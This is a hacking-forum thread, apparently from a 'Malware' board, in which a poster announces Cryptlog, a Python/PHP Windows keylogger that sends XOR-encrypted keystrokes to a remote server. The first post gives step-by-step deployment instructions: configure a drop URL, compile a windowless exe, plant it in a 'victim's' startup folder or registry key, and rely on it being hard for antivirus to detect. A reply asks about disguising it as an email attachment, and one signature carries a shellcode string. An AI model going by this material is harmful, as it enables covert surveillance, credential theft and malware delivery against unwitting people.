Cryptlog - A python keylogger

The constant threat: viruses, trojans, spyware, ... the list goes on

Cryptlog - A python keylogger

Post by 3vilp4wn on Sun May 19, 2013 3:38 pm
([msg=75685]see Cryptlog - A python keylogger[/msg])

Hello all!
I recently made a simple (Well, not very simple, but I digress) windows only ( :( ) keylogger in python and PHP. Here's the basics of how it works:

1.) captures keys in chunks of 25 keystrokes.
2.) Encrypts the keystrokes with a simple XOR encryption (not very good encryption mind you.)
3.) Sends the encrypted keystrokes off to a server that will record them. The server can deal with multiple clients (keyloggers) running at once, and will still display the keystrokes fine.

EDIT:
It's on github now, so I don't need to worry about updating it here :mrgreen:
CryptLog on Github!

Here's from the readme:
Here's what you need to do to start logging keystrokes:
1.) Download PyHook. You only need PyHook to be on the computer you use to build the keylogger.
2.) Edit the "cryptlog.py" file.
a.) replace "thisiswhereyourkeygoes" with whatever key you want to encrypt the data with.
b.) Change "http://www.yoursite.com/droplogs.php" to whatever your site is. (Need a good freehost? PM me.)
3.) Edit the "viewlogs.py" file.
a.) Change "http://www.yoursite.com/" to the name of your site.
4.) Edit the "droplogs.php" file.
a.) Change "keyloggerlogfiles.txt" to the name of the file you want to keep logs in.
5.) Upload "droplogs.php" to your site.
6.) Compile the file(s).
a.) Download "Pyinstaller 2.0" (http://www.pyinstaller.org/)
b.) Run "python pyinstaller.py -F --name=Cryptlog -w path\to\cryptlog.py" where "path\to\cryptlog.py" is the relitive path pointing to cryptlog.py. You *MUST* run this in PyInstaller's directory.
c.) *OPTIONAL* Run "python pyinstaller.py -F --name=Viewlogs path\to\viewlogs.py" where "path\to\viewlogs.py" is the relitive path pointing to viewlogs.py. You *MUST* run this in PyInstaller's directory.
7.) Put "Cryptlog.exe" into the victim's startup folder, or, better yet, into the startup registry key.
8.) Run "Viewlogs.exe" or "viewlogs.py" and type in the name of the logfile that you set in setp 3a. Then, type in the ID of the log that you want to view. Each time Cryptlog.exe starts up, it creates a new log with a new ID. Next, type in what you used as your key in step 1a. From there, you should be able to view the logs of the keystrokes.
9.) *OPTIONAL* Send me an email telling me how much you love/hate CryptLog. My email (or, rather, the Evil Ninja Hackers email) is "ENH@lavabit.com"

Have fun,

3vilp4wn.

If you need help setting it up, just post here or PM me.


Anyways, that's all.
It takes a bit to set up, but once you set it up, you can use the same.exe all the time :)
It's also hard for antivirus to detect, because each .exe is different.

Have fun,
3vilp4wn
Do not mistake understanding for realization, and do not mistake realization for liberation
Evil Ninja Hackers
???
٩(͡๏̯͡๏)۶

1A4EAMboaXpgvUSmtRbVRqbfJrbyuGhyoo
User avatar
3vilp4wn
Poster
Poster
 
Posts: 144
Joined: Sun Feb 10, 2013 2:05 am
Location: The darkness.
Blog: View Blog (0)


Re: Cryptlog - A python keylogger

Post by Th3_M4d_H4tt3r on Wed Jun 26, 2013 4:42 pm
([msg=76251]see Re: Cryptlog - A python keylogger[/msg])

This is freaking awsome, thats some sexy coding XD
Tip me if I helped you!
BTC Address: 15wu8gxFAemZH3jC4km3Z8gMYtKHLxpnEv
User avatar
Th3_M4d_H4tt3r
Experienced User
Experienced User
 
Posts: 54
Joined: Tue Jun 18, 2013 8:25 am
Blog: View Blog (0)


Re: Cryptlog - A python keylogger

Post by Weeezle on Thu Sep 11, 2014 11:42 pm
([msg=83557]see Re: Cryptlog - A python keylogger[/msg])

I am fairly new to this, I have more knowledge than the average kid my age but still limited knowledge. so excuse me if this is a stupid question, but would it be possible to put this in an email, and mask it with a document, or picture?
User avatar
Weeezle
New User
New User
 
Posts: 5
Joined: Thu Sep 11, 2014 11:37 pm
Blog: View Blog (0)


Re: Cryptlog - A python keylogger

Post by MadM0use on Wed Sep 17, 2014 6:50 am
([msg=83693]see Re: Cryptlog - A python keylogger[/msg])

lol, cool idea man. but....... I dont know many windows computers that come with python out of the box. This project is better implemented in a compiled language like C/C++/ASM and so on..... I dont just want to be a nay sayer though, so I am going to offer you the opportunity to allow me to discuss with you how this would be better implemented in your compiled language of choice. Feel free to email me at aaronryool@gmail.com OR get in touch with me on IRC in #coffeesh0p and I will be glad to help you as you appear to be very interested and motivated in the topic. :D
https://www.youtube.com/watch?v=2MfBZZyuTm0

main(){((void(*)())"\x48\x31\xc0\xb0\x39\xcd\x80\x83\xf8\x01\x7c\x0a\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xb0\x39\xcd\x80\xeb\xfa")();}
MadM0use
New User
New User
 
Posts: 13
Joined: Thu Sep 11, 2014 10:30 pm
Blog: View Blog (0)


Re: Cryptlog - A python keylogger

Post by e3cb on Wed Sep 17, 2014 6:03 pm
([msg=83699]see Re: Cryptlog - A python keylogger[/msg])

^^^^^^ All of that
<3 FF E4 <3
Do you even asm bruh?
User avatar
e3cb
Experienced User
Experienced User
 
Posts: 65
Joined: Fri Feb 15, 2013 11:32 pm
Location: Orange County
Blog: View Blog (0)



Return to Malware

Who is online

Users browsing this forum: No registered users and 0 guests